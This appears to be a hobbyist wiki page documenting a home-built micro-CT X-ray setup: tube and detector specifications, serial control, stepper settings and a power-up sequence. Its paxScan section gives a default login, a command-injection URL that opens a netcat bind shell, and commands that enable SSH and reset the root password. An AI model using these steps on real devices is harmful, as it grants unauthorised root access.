====== macroCT ======

===== X-Ray Source =====

==== PSX10-WB-130 Microfocus Source ====

  * 20kV-130kV targe voltage
  * 0.356mA@45kV 0.123mA@130kV beam current
  * 7µm@4W - 21µm@16W focal spot on tungsten target
  * 115° cone angle
  * 0.51mm Beryllium window

! Hello ROM 038 RAM 185 PS PXS10-WB S/N 12815 Tube KM132 S/N 42039 DCM E S/N 00638
! TIMESTATS NonOpSecsRemain 0 TotalHours 42639.8 TotalHoursXRAYon 35298.0
! STATUS Off HV .11 080.0 Beam 00.5 0070 Unsafe Infocus Spot 008
! Diag2 Anodeleak 17.6

Serial Interface on /dev/ttyS3 with 3840bps 8N1
====== Detectors ======

==== Dexis Platinum / GXS-700 ====
  * SN: 0104430711
  * 19.5µm x 19.5µm Pixels
  * 1324x1692 Resolution
  * Sensor Firmware Version: 0.5.10, 0.3.6, 0.4.5
  * CPLD Version: 3.3.0.0
  * API Version: 1.0.10.0
  * VID 5328 PID 2010

  * SN: 1093330312
  * 19.5µm x 19.5µm Pixels
  * 1552x1040 Resolution

[[https://nucwiki.org/wiki/index.php/GXS700_FOSS]]

[[https://nucwiki.org/wiki/index.php/Gendex_GXS700]]

[[https://nucwiki.org/wiki/index.php/Gendex_GXS700_Dump]]

[[https://github.com/JohnDMcMaster/gxs700]]

==== Dexela ====

==== paxScan ====

The USB connector is actually Ethernet.
d+/d- and gnd/ID are the ethernet lines.
If you hook up to that, you can see a autoconf IP address.
Access the webinterface and login with admin:password.
This URL allows you a bind shell: http://169.254.197.171/cgi-bin/vsp-command-post.cgi?command=`{nc,-l,-p,2222,-e,/bin/sh}`

Run this:
mount -o remount,rw /home
echo "export VP_SSHD=1" >> /home/vsp/settings.sh ## this enables SSH server
echo "sed -i 's/N1kSQCwwpFzSs/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the root password to password
echo "sed -i 's/xxx_passwd_of_user_vsp_xxx/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the vsp password to password
sync
mount -o remount,ro /home

This allows you to login as vsp with password password and then becoming root with "su".

ssh:  vsp:password
su:  root:password

IP: 192.168.179.200
===== I/O =====
on /dev/ttyACM0
==== PWM ====
Channels
  * 0: Chamber Light
  * 1: Alignment Laser Vertical
  * 2: Alignment Laser Horizontal
  * 3: (unused)
  * 4: Case Fan 1 (in)
  * 5: Case Fan 2 (out)
  * 6-15: (unused)

==== Outputs ====
Channels:
  * 0: Stepper Motor Supply
  * 1: (unused)
  * 2: (unused)
  * 3: (unused)
  * 4: (unused)
  * 5: (unused)
  * 6: (unused)
  * 7: (unused)
  * 8: Tube Supply
  * 9: (unused)
  * 10: Software E-Stop
  * 11: Safety Start
  * 12: Software Power Interlock
  * 13: Software Chamber Interlock
  * 14: 15V Detector Supply (PaxScan)
  * 15: 24V Detector Supply

===== Mechanics =====
==== Stepper Motors ====
=== GRBL ===

ATmega2560 on /dev/ttyUSB0

https://github.com/gnea/grbl/wiki/Grbl-v1.1-Configuration

http://eleccelerator.com/fusecalc/fusecalc.php?chip=atmega2560

== Settings ==
<code>
$0=10
$1=254
$2=0
$3=0
$4=0
$5=1
$6=0
$10=1
$11=0.020
$12=0.002
$13=0
$20=0
$21=1
$22=1
$23=0
$24=100.000
$25=500.000
$26=250
$27=5.000
$30=12000
$31=550
$32=0
$100=160.000
$101=160.000
$102=160.000
$103=160.000
$110=600.000
$111=600.000
$112=600.000
$113=600.000
$120=40.000
$121=40.000
$122=40.000
$123=40.000
$130=400.000
$131=400.000
$132=400.000
$133=400.000
</code>

==== Startup Sequence ====

Connect to /dev/ttyACM0

Enable Debug Mode
	/dev/ttyACM0 : debug 1

Enable Sensor Supply
	/dev/ttyACM0 : output 14 1
	
Enable Tube Supply
	/dev/ttyACM0 : output 8 1
	
Connect to /dev/ttyS3

Check Tube Status
	/dev/ttyS3 : status

Check Beam Voltage HV
	/dev/ttyS3 : hv setting
	
Check Beam Current
	/dev/ttyS3 : beam setting
	
Set Software Chamber Interlock
	/dev/ttyACM0 : output 13 1

Set Software Power Interlock
	/dev/ttyACM0 : output 12 1
	
Turn Key-Switch to ON

Release Emergency Stop

Release Software E-Stop
	/dev/ttyACM0 : output 10 1
	
Pulse Software Safety Start
	/dev/ttyACM0 : output 11 1
	/dev/ttyACM0 : output 11 0
	
Check Tube Status (should be "Safe Infocus", else wait for warmup to finish)
	/dev/ttyS3 : status
	
Override Tube Conditioning
	/dev/ttyS3 : program 10
	
Start Sensor Capture
	cd ~/Code/PaxScan_CP2-Lite_ACQ
	python3 test.py
	
Enable XRAYs
	/dev/ttyS3 : xray on
	
Check Tube Status to see when current has ramped up
	/dev/ttyS3 : status
	/dev/ttyS3 : status
	...
	
Trigger Sensor Exposure

Disable XRAYs
	/dev/ttyS3 : xray off

Turn off Key-Switch

Turn off safety
	/dev/ttyACM0 : output 11 0
	/dev/ttyACM0 : output 12 0
	/dev/ttyACM0 : output 13 0

Turn off Tube supply
	/dev/ttyACM0 : output 8 0

Turn off Sensor supply
	/dev/ttyACM0 : output 14 0

Disconnect Serial ports

Shutdown PC